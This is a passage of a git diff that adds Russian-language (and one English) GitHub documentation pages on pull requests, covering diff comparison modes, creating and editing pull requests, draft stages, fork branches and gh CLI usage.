ссылки на коммитиши Git в двухточечном сравнении изменений должны отправляться в тот же репозиторий или его вилки. + +Если вы хотите имитировать двухточечное сравнение изменений в запросе на вытягивание и увидеть сравнение между последними версиями каждой ветви, можно объединить базовую ветвь в ветвь раздела, которая обновляет последнего общего предка между ветвями. + +Дополнительные сведения о командах Git для сравнения изменений см. в разделе [Git diff options](https://git-scm.com/docs/git-diff#git-diff-emgitdiffemltoptionsgtltcommitgtltcommitgt--ltpathgt82308203) (Параметры сравнения изменений Git) на сайте книги _Pro Git_. + +## Сведения о трехточечном сравнении в {% data variables.product.prodname_dotcom %} + +Так как трехточечное сравнение сравнивает с базой слияния, основное внимание уделяется тому, что добавляет запрос на вытягивание. + +При использовании двухточечного сравнения различия изменяются при обновлении базовой ветви, даже если вы не внесли никаких изменений в ветвь раздела. Кроме того, двухточечное сравнение фокусируется на базовой ветви. Это означает, что все, что вы добавили, отображается как отсутствующее в базовой ветви, как если бы это было удаление, и наоборот. В результате изменения, вносимые тематической веткой, становятся неоднозначными. + +Напротив, при сравнении ветвей с помощью трехточечного сравнения изменения в тематической ветви всегда находятся в сравнении изменений, если базовая ветвь обновлена, потому что сравнение показывает все изменения с момента расхождения ветвей. + +### Частые слияния + +Чтобы избежать путаницы, чаще объединяйте базовую ветвь (например, `main`) в ветвь раздела. При объединении базовой ветви различия, показываемые двухточечным и трехточечным сравнениями одинаковы. Мы рекомендуем объединять запрос на вытягивание как можно скорее. Это побуждает участников делать запросы на вытягивание меньшего размера, что является общей рекомендацией. + +## Дополнительные материалы + +- [Сведения о запросах на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) +- [Сведения о вилках](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md new file mode 100644 index 000000000000..5689f37b7b59 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md @@ -0,0 +1,81 @@ +--- +title: Сведения о запросах на вытягивание +intro: 'Запросы на вытягивание позволяют другим пользователям сообщать об изменениях, отправленных в ветвь в репозитории на {% data variables.product.product_name %}. После открытия запроса на вытягивание можно обсудить и просмотреть потенциальные изменения с участниками совместной работы и добавить дальнейшие фиксации, прежде чем изменения будут объединены в базовую ветвь.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests + - /articles/using-pull-requests + - /articles/about-pull-requests + - /github/collaborating-with-issues-and-pull-requests/about-pull-requests + - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: 6912f0ca38cc522d5698a9e8b1a1042f445b999e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147111115' +--- +## Сведения о запросах на вытягивание + +{% note %} + +**Примечание.** При работе с запросами на вытягивание помните следующее: +* Если вы работаете в [модели общего репозитория](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models), рекомендуется использовать для запроса на вытягивание тематическую ветвь. При том, что запросы на вытягивание можно отправлять из любой ветви или фиксации, тематическая ветвь позволяет отправлять дальнейшие фиксации, если вам нужно обновить предлагаемые изменения. +* При принудительной отправке фиксаций в запрос на вытягивание будьте предельно внимательны. Принудительная отправка меняет журнал репозитория и может вызвать повреждение запроса на вытягивание. Если другие участники совместной работы перед принудительной отправкой создают ветви, то принудительная отправка может перезаписать фиксации, на которых участники строят свою работу. + +{% endnote %} + +Запросы на вытягивание можно создавать в {% data variables.product.prodname_dotcom_the_website %}, с помощью {% data variables.product.prodname_desktop %}, в {% data variables.product.prodname_github_codespaces %}, в {% data variables.product.prodname_mobile %} и при использовании интерфейса командной строки GitHub. + +После инициализации запроса на вытягивание вы увидите обзорную страницу с общими сведениями о различиях между вашей ветвью (ветвью сравнения) и базовой ветвью репозитория. Здесь можно добавить сводку предлагаемых изменений, просмотреть изменения, внесенные фиксациями, добавить метки, вехи и ответственных, а также отметить (@mention) отдельных участников или команд. Дополнительные сведения см. в разделе [Создание запроса на вытягивание](/articles/creating-a-pull-request). + +После создания запроса на вытягивание вы сможете отправить фиксации из тематической ветви, чтобы добавить их в существующий запрос на вытягивание. Фиксации отображаются в запросе на вытягивание в хронологическом порядке, а изменения показываются на вкладке "Измененные файлы". + +Другие участники совместной работы могут просматривать предложенные изменения, добавлять комментарии к проверке, участвовать в обсуждении запроса на вытягивание и даже добавлять фиксации в запрос на вытягивание. {% ifversion pull-request-approval-limit %}{% data reusables.pull_requests.code-review-limits %}{% endif %} + +{% ifversion fpt or ghec %} Сведения о текущем состоянии развертывания ветви и прошлых действиях развертывания можно просмотреть на вкладке "Беседа". Дополнительные сведения см. в разделе [Просмотр действий развертывания для репозитория](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository). +{% endif %} + +Если предложенные изменения вас устраивают, запрос на вытягивание можно объединить. Если вы работаете в модели общего репозитория, вы создаете запрос на вытягивание, а затем вы или другой пользователь объединяете изменения из ветви компонента в базовую ветвь, указанную в запросе на вытягивание. Дополнительные сведения см. в разделе [Слияние запроса на вытягивание](/articles/merging-a-pull-request). + +{% data reusables.pull_requests.required-checks-must-pass-to-merge %} + +{% data reusables.pull_requests.close-issues-using-keywords %} + +{% tip %} + +**Советы** +- Для свертывания или развертывания всех устаревших комментариев к проверке в запросе на вытягивание, щелкните **Показать устаревшие** или **Скрыть устаревшие**, нажав и удерживая клавишу <span class="platform-mac"><kbd>Option</kbd></span><span class="platform-linux"><kbd>Alt</kbd></span><span class="platform-windows"><kbd>Alt</kbd></span> . Другие сочетания клавиш см. в статье [Сочетания клавиш](/articles/keyboard-shortcuts). +- При слиянии запроса на вытягивание фиксации можно сжать, чтобы получить более простое представление изменений. Дополнительную информацию см. в статье [Сведения о слияниях запросов на вытягивание](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges). + +{% endtip %} + +Для быстрого поиска ссылок на недавно обновленные запросы на вытягивание, над которыми вы работаете или на которые вы подписаны, можно использовать панель мониторинга. Дополнительные сведения см. в разделе [Сведения о личной панели мониторинга](/articles/about-your-personal-dashboard). + +## Черновые запросы на вытягивание + +{% data reusables.gated-features.draft-prs %} + +При создании запроса на вытягивание можно создать запрос на вытягивание, готовый к проверке, или черновик запроса на вытягивание. Черновики запросов на вытягивание нельзя объединять и проверка таких черновиков не запрашивается у владельцев кода автоматически. Дополнительные сведения о создании черновика запроса на вытягивание см. в статьях [Создание запроса на вытягивание](/articles/creating-a-pull-request) и [Создание запроса на вытягивание из вилки](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork). + +{% data reusables.pull_requests.mark-ready-review %} Запрос на вытягивание можно в любой момент преобразовать в черновик. Дополнительные сведения см. в разделе [Изменение этапа запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request). + +## Различия между фиксациями на страницах сравнения и на страницах запроса на вытягивание + +На страницах сравнения и на страницах запроса на вытягивание используются различные методы вычисления различий между измененными файлами: + +- На страницах сравнения отображается различие между подсказкой начальной ссылки и актуальным общим предком (т. е. базой слияния) головной и базовой ссылки. +- На страницах запросов на вытягивание отображается различие между подсказкой начальной ссылки и общим предком головной и базовой ссылки на момент создания запроса на вытягивание. Это значит, что база слияния, используемая для сравнения, может отличаться. + +## Дополнительные материалы + +- [Запрос на вытягивание](/articles/github-glossary/#pull-request) в глоссарии {% data variables.product.prodname_dotcom %} +- [Сведения о ветвях](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) +- [Комментирование запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) +- [Закрытие запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md new file mode 100644 index 000000000000..093664f1f275 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md @@ -0,0 +1,46 @@ +--- +title: Изменение базовой ветви запроса на вытягивание +intro: 'После открытия запроса на вытягивание можно изменить базовую ветвь, чтобы сравнить изменения в запросе на вытягивание с изменениями в другой ветви.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request + - /articles/changing-the-base-branch-of-a-pull-request + - /github/collaborating-with-issues-and-pull-requests/changing-the-base-branch-of-a-pull-request + - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Change the base branch +ms.openlocfilehash: 6e8e78ac4f3e0d3f81b5efc07bb48151040baa9d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145137750' +--- +{% warning %} + +**Предупреждение**. При изменении базовой ветви запроса на вытягивание с временной шкалы могут быть удалены некоторые фиксации. Также могут устареть комментарии к проверке, если строка кода, на которую ссылается комментарий, не будет включена в изменения в запросе на вытягивание. + +{% endwarning %} + +{% data reusables.repositories.sidebar-pr %} +2. В списке "Запросы на вытягивание" щелкните запрос на вытягивание, который требуется изменить. +3. Рядом с заголовком запроса на вытягивание нажмите кнопку **Изменить**. ![Кнопка "Изменить запрос на вытягивание"](/assets/images/help/pull_requests/pull-request-edit.png) +4. В раскрывающемся меню базовой ветви выберите базовую ветвь, с которой требуется [сравнить изменения](/github/committing-changes-to-your-project/comparing-commits#comparing-branches). ![Раскрывающееся меню базовой ветви ](/assets/images/help/pull_requests/pull-request-edit-base-branch.png) +5. Прочтите сведения об изменении базовой ветви и нажмите кнопку **Изменить базу**. ![Кнопка подтверждения изменения базовой ветви ](/assets/images/help/pull_requests/pull-request-base-branch-confirm.png) + +{% tip %} + +**Совет**. При открытии запроса на вытягивание {% data variables.product.product_name %} установит в качестве базы фиксацию, на которую ссылается эта ветвь. При последующем обновлении этой ветви {% data variables.product.product_name %} не будет обновлять фиксацию базовой ветви. + +{% endtip %} + +## Дополнительные материалы + +- [Создание запроса на вытягивание](/articles/creating-a-pull-request) +- [Сведения о запросах на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) +- [Просмотр предлагаемых изменений в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md new file mode 100644 index 000000000000..5af71213e9f2 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md @@ -0,0 +1,54 @@ +--- +title: Изменение этапа запроса на вытягивание +intro: Вы можете пометить черновик запроса на вытягивание как готовый для проверки или преобразовать запрос на вытягивание в черновик. +permissions: People with write permissions to a repository and pull request authors can change the stage of a pull request. +product: '{% data reusables.gated-features.draft-prs %}' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request + - /articles/changing-the-stage-of-a-pull-request + - /github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request + - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Change the state +ms.openlocfilehash: 5ef2845e57518c4b66f13a804919f7bdea327040 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883298' +--- +## Пометка запроса на вытягивание как готового к проверке + +{% data reusables.pull_requests.mark-ready-review %} + +{% tip %} + +**Совет.** Вы также можете пометить запрос на вытягивание как готовый для проверки с помощью {% data variables.product.prodname_cli %}. Дополнительные сведения см. в разделе [`gh pr ready`](https://cli.github.com/manual/gh_pr_ready) в документации по {% data variables.product.prodname_cli %}. + +{% endtip %} + +{% data reusables.repositories.sidebar-pr %} +2. В списке "Запросы на вытягивание" щелкните тот, который вы хотите пометить как готовый для проверки. +3. В поле слияния нажмите кнопку **Готово к проверке**. + ![Кнопка "Готово к проверке"](/assets/images/help/pull_requests/ready-for-review-button.png) + +## Преобразование запроса на вытягивание в черновик + +Запрос на вытягивание можно в любое время преобразовать в черновик. Например, если вы случайно открыли запрос на вытягивание вместо черновика или получили отзыв о вашем запросе на вытягивание, который необходимо разрешить, можно преобразовать запрос на вытягивание в черновик, чтобы указать, что необходимы дальнейшие изменения. Никто не сможет объединить запрос на вытягивание, пока вы не пометите его как снова готовый к проверке. Люди, которые уже подписаны на уведомления для этого запроса на вытягивание, не будут отписаны при преобразовании запроса на вытягивание в черновик. + +{% data reusables.repositories.sidebar-pr %} +2. В списке "Запросы на вытягивание" щелкните запрос на вытягивание, который хотите преобразовать в черновик. +3. В правой боковой панели в разделе "Рецензенты" нажмите ссылку **Преобразовать в черновик**. + ![Ссылка для преобразования в черновик](/assets/images/help/pull_requests/convert-to-draft-link.png) +4. Нажмите ссылку **Преобразовать в черновик**. + ![Подтверждение преобразования в черновик](/assets/images/help/pull_requests/convert-to-draft-dialog.png) + +## Дополнительные материалы + +- [Сведения о запросах на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-requests) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md new file mode 100644 index 000000000000..3d3b8216aea3 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md @@ -0,0 +1,95 @@ +--- +title: Committing changes to a pull request branch created from a fork +intro: You can commit changes on a pull request branch that was created from a fork of your repository with permission from the pull request creator. +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork + - /articles/committing-changes-to-a-pull-request-branch-created-from-a-fork + - /github/collaborating-with-issues-and-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork + - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Commit to PR branch from fork +--- +You can only make commits on pull request branches that: +- are opened in a repository that you have push access to and that were created from a fork of that repository +- are on a user-owned fork +- have permission granted from the pull request creator +- don't have [branch restrictions](/github/administering-a-repository/about-protected-branches#restrict-who-can-push-to-matching-branches) that will prevent you from committing + +Only the user who created the pull request can give you permission to push commits to the user-owned fork. For more information, see "[Allowing changes to a pull request branch created from a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)." + +{% note %} + +**Note:** You can also make commits to a pull request branch from a fork of your repository through {% data variables.location.product_location %} by creating your own copy (or fork) of the fork of your repository and committing changes to the same head branch that the original pull request changes were created on. For some general guidelines, see "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)." + +{% endnote %} + +1. On {% data variables.product.product_name %}, navigate to the main page of the fork (or copy of your repository) where the pull request branch was created. +{% data reusables.repositories.copy-clone-url %} +{% data reusables.command_line.open_the_multi_os_terminal %} + {% tip %} + + **Tip:** If you prefer to clone the fork using {% data variables.product.prodname_desktop %}, then see "[Cloning a repository to {% data variables.product.prodname_desktop %}](/articles/cloning-a-repository/#cloning-a-repository-to-github-desktop)." + + {% endtip %} +4. Change the current working directory to the location where you want to download the cloned directory. + ```shell + $ cd open-source-projects + ``` +5. Type `git clone`, and then paste the URL you copied in Step 3. + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/FORK-OF-THE-REPOSITORY + ``` +6. Press **Enter**. Your local clone will be created. + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/FORK-OF-THE-REPOSITORY + > Cloning into `FORK-OF-THE-REPOSITORY`... + > remote: Counting objects: 10, done. + > remote: Compressing objects: 100% (8/8), done. + > remove: Total 10 (delta 1), reused 10 (delta 1) + > Unpacking objects: 100% (10/10), done. + ``` + {% tip %} + + **Tip:** The error message "fatal: destination path 'REPOSITORY-NAME' already exists and is not an empty directory" means that your current working directory already contains a repository with the same name. To resolve the error, you must clone the fork in a different directory. + + {% endtip %} +7. Navigate into your new cloned repository. + ```shell + $ cd FORK-OF-THE-REPOSITORY + ``` +7. Switch branches to the compare branch of the pull request where the original changes were made. If you navigate to the original pull request, you'll see the compare branch at the top of the pull request. +![compare-branch-example](/assets/images/help/pull_requests/compare-branch-example.png) + In this example, the compare branch is `test-branch`: + ```shell + $ git checkout TEST-BRANCH + ``` + + {% tip %} + + **Tip:** For more information about pull request branches, including examples, see "[Creating a Pull Request](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository)." + + {% endtip %} +8. At this point, you can do anything you want with this branch. You can push new commits to it, run some local tests, or merge other branches into the branch. Make modifications as you like. +9. After you commit your changes to the head branch of the pull request you can push your changes up to the original pull request directly. In this example, the head branch is `test-branch`: + ```shell + $ git push origin <em>test-branch</em> + > Counting objects: 32, done. + > Delta compression using up to 8 threads. + > Compressing objects: 100% (26/26), done. + > Writing objects: 100% (29/29), 74.94 KiB | 0 bytes/s, done. + > Total 29 (delta 8), reused 0 (delta 0) + > To https://{% data variables.command_line.codeblock %}/USERNAME/FORK-OF-THE-REPOSITORY.git + > 12da2e9..250e946 TEST-BRANCH -> TEST-BRANCH + ``` + +Your new commits will be reflected on the original pull request on {% data variables.location.product_location %}. + +## Further Reading + +- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md new file mode 100644 index 000000000000..270cdccd09b5 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md @@ -0,0 +1,45 @@ +--- +title: Создание запроса на вытягивание из вилки +intro: 'Вы можете создать запрос на вытягивание, чтобы предложить изменения, внесенные в вилку вышестоящего репозитория.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork + - /articles/creating-a-pull-request-from-a-fork + - /github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork + - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork +permissions: 'Anyone with write access to a repository can create a pull request from a user-owned fork. {% data reusables.enterprise-accounts.emu-permission-propose %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Create a PR from a fork +ms.openlocfilehash: 5a4aceef12c214d157dbdac7bf838bbe80e81731 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883290' +--- +Если ваш запрос на вытягивание сравнивает тематическую ветвь с ветвью в вышестоящем репозитории как с базовой ветвью, то ваша тематическая ветвь также называется ветвью сравнения запроса на вытягивание. Дополнительные сведения о ветвях запросов на вытягивание, включая примеры, см. в статье [Создание запроса на вытягивание](/articles/creating-a-pull-request/#changing-the-branch-range-and-destination-repository). + +{% data reusables.pull_requests.perms-to-open-pull-request %} + +1. Перейдите к исходному репозиторию, в котором вы создали вилку. +{% data reusables.repositories.new-pull-request %} +3. На странице "Сравнение" нажмите **сравнить по вилкам**. + ![Ссылка на сравнение по вилкам](/assets/images/help/pull_requests/compare-across-forks-link.png) +4. В раскрывающемся меню "Базовая ветвь" выберите ветвь вышестоящего репозитория, в которую вы хотите объединить изменения. + ![Раскрывающиеся меню для выбора базовой вилки и ветви](/assets/images/help/pull_requests/choose-base-fork-and-branch.png) +5. В раскрывающемся меню "главная вилка" выберите вилку, а в раскрывающемся меню "сравнить с ветвью" — ветвь, в которую вы внесли изменения. + ![Раскрывающиеся меню для выбора главной вилки и ветви для сравнения ](/assets/images/help/pull_requests/choose-head-fork-compare-branch.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.allow-maintainers-user-forks %} + + ![allow-maintainers-to-make-edits-checkbox](/assets/images/help/pull_requests/allow-maintainers-to-make-edits.png) {% data reusables.repositories.create-pull-request %} + +{% data reusables.repositories.asking-for-review %} + +## Дополнительные материалы + +- [Работа с вилками](/articles/working-with-forks) +- [Разрешение изменений в ветви запроса на вытягивание, созданной из вилки](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md new file mode 100644 index 000000000000..88f1c0eeb5c0 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md @@ -0,0 +1,176 @@ +--- +title: Создание запроса на включение изменений +intro: 'Создайте запрос на вытягивание, чтобы предложить изменения в репозитории и совместно работать над ними. Эти изменения предлагаются в *ветви*, что гарантирует, что ветвь по умолчанию содержит только завершенную и утвержденную работу.' +permissions: 'Anyone with read access to a repository can create a pull request. {% data reusables.enterprise-accounts.emu-permission-propose %}' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request + - /articles/creating-a-pull-request + - /github/collaborating-with-issues-and-pull-requests/creating-a-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: de387cea338fb927d2baeedd79855eefbdbc82ec +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147110996' +--- +Если вы хотите создать новую ветвь для запроса на вытягивание и у вас нет разрешений на запись в репозитории, можно сначала создать вилку репозитория. Дополнительные сведения см. в разделах [Создание запроса на вытягивание из вилки](/articles/creating-a-pull-request-from-a-fork) и [Сведения о вилках](/articles/about-forks). + +Вы можете указать ветвь, с которой хотите объединить изменения при создании запроса на вытягивание. Запросы на вытягивание можно открывать только между двумя различными ветвями. + +{% data reusables.pull_requests.perms-to-open-pull-request %} + +{% data reusables.pull_requests.close-issues-using-keywords %} + +## Изменение диапазона ветвей и целевого репозитория + +By default, pull requests are based on the parent repository's <a href="/articles/setting-the-default-branch">default branch</a>. Дополнительные сведения см. в разделе [Сведения о ветвях](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch). + +Если родительский репозиторий по умолчанию не является правильным, можно изменить родительский репозиторий и ветвь с помощью раскрывающегося списка. Вы также можете заменить головные и базовые ветви в раскрывающемся списке, чтобы установить различия между контрольными точками. Контрольными точками здесь должны быть имена ветвей в репозитории GitHub. + +![Запрос на вытягивание, изменение ветвей](/assets/images/help/pull_requests/pull-request-review-edit-branch.png) + +При работе с ветвями помните, что *базовая ветвь* — это то, **куда** должны применяться изменения, а *головная ветвь* — это то, **откуда** берутся изменения. + +При изменении базового репозитория также изменяются уведомления о запросе на вытягивание. Все, кто может отправлять запросы в базовый репозиторий, получат уведомление по электронной почте и увидят новый запрос на вытягивание на панели мониторинга при следующем входе. + +Когда вы изменяете какую-либо информацию в диапазоне ветвей, области предварительного просмотра "Фиксация" и "Файлы изменены" обновляются и показывают новый диапазон. + +{% tip %} + +**Совет**. +- С помощью представления сравнения можно настроить сравнения в любом временном интервале. Дополнительные сведения см. в статье [Сравнение фиксаций](/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits). +- Сопровождающие проекта могут добавлять шаблон запроса на вытягивание для репозитория. Шаблоны включают запросы на ввод сведений в тексте запроса на вытягивание. Дополнительные сведения см. в статье "[Сведения о шаблонах проблем и запросов на вытягивание](/articles/about-issue-and-pull-request-templates). + +{% endtip %} + +## Создание запроса на вытягивание + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +2. В меню "Ветвь" выберите ветвь, содержащую фиксации. + ![Раскрывающееся меню "Ветвь"](/assets/images/help/pull_requests/branch-dropdown.png) {% data reusables.repositories.new-pull-request %} +4. В раскрывающемся меню _базовой_ ветви выберите ветвь, в которую вы хотите объединить изменения, а затем в раскрывающемся меню ветви _сравнения_ выберите ветвь раздела, в которую вы внесли изменения. + ![Раскрывающиеся меню для выбора базовой ветви и ветви сравнения](/assets/images/help/pull_requests/choose-base-and-compare-branches.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %} + +{% data reusables.repositories.asking-for-review %} + +После проверки запроса на вытягивание его можно [объединить в репозиторий](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +Чтобы создать запрос на вытягивание, используйте подкоманду `gh pr create`. + +```shell +gh pr create +``` + +Чтобы назначить запрос на вытягивание отдельному пользователю, используйте флаги `--assignee` или `-a`. Можно использовать `@me` для назначения запроса на вытягивание самому себе. + +```shell +gh pr create --assignee "@octocat" +``` + +Чтобы указать ветвь, в которую требуется объединить запрос на вытягивание, используйте флаги `--base` или `-B`. Чтобы указать ветвь, содержащую фиксации для запроса на вытягивание, используйте флаги `--head` или `-H`. + +```shell +gh pr create --base my-base-branch --head my-changed-branch +``` + +Чтобы включить заголовок и текст нового запроса на вытягивание, используйте флаги `--title` и `--body`. + +```shell +gh pr create --title "The bug is fixed" --body "Everything works again" +``` + +Чтобы пометить запрос на вытягивание как черновик, используйте флаг `--draft`. + +```shell +gh pr create --draft +``` + +Чтобы добавить метки или вехи в новый запрос на вытягивание, используйте флаги `--label` и `--milestone`. + +```shell +gh pr create --label "bug,help wanted" --milestone octocat-milestone +``` + +Чтобы добавить новый запрос на вытягивание в конкретный проект, используйте флаг `--project`. + +```shell +gh pr create --project octocat-project +``` + +Чтобы назначить отдельного пользователя или команду в качестве рецензентов, используйте флаг `--reviewer`. + +```shell +gh pr create --reviewer monalisa,hubot --reviewer myorg/team-name +``` + +Чтобы создать запрос на вытягивание в веб-браузере по умолчанию, используйте флаг `--web`. + +```shell +gh pr create --web +``` + +{% endcli %} + +{% desktop %} + +{% mac %} + +1. Переключитесь на ветвь, для которой требуется создать запрос на вытягивание. Дополнительные сведения см. в разделе [Коммутация между ветвями](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches). +2. Щелкните **Создать запрос на вытягивание**. {% data variables.product.prodname_desktop %} откроет браузер по умолчанию, чтобы вы могли перейти к {% data variables.product.prodname_dotcom %}. + ![Кнопка "Создать запрос на вытягивание"](/assets/images/help/desktop/mac-create-pull-request.png). +4. На {% data variables.product.prodname_dotcom %} убедитесь, что ветвь в раскрывающемся меню **база:**  — это ветвь, в которой требуется выполнить слияние изменения. Убедитесь, что ветвь в раскрывающемся меню **сравнить:**  — это тематическая ветвь, в которой вы внесли изменения. + ![Раскрывающиеся меню для выбора базы и сравнения ветвей](/assets/images/help/desktop/base-and-compare-branches.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %} + +{% endmac %} + +{% windows %} + +1. Переключитесь на ветвь, для которой требуется создать запрос на вытягивание. Дополнительные сведения см. в разделе [Коммутация между ветвями](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches). +2. Щелкните **Создать запрос на вытягивание**. {% data variables.product.prodname_desktop %} откроет браузер по 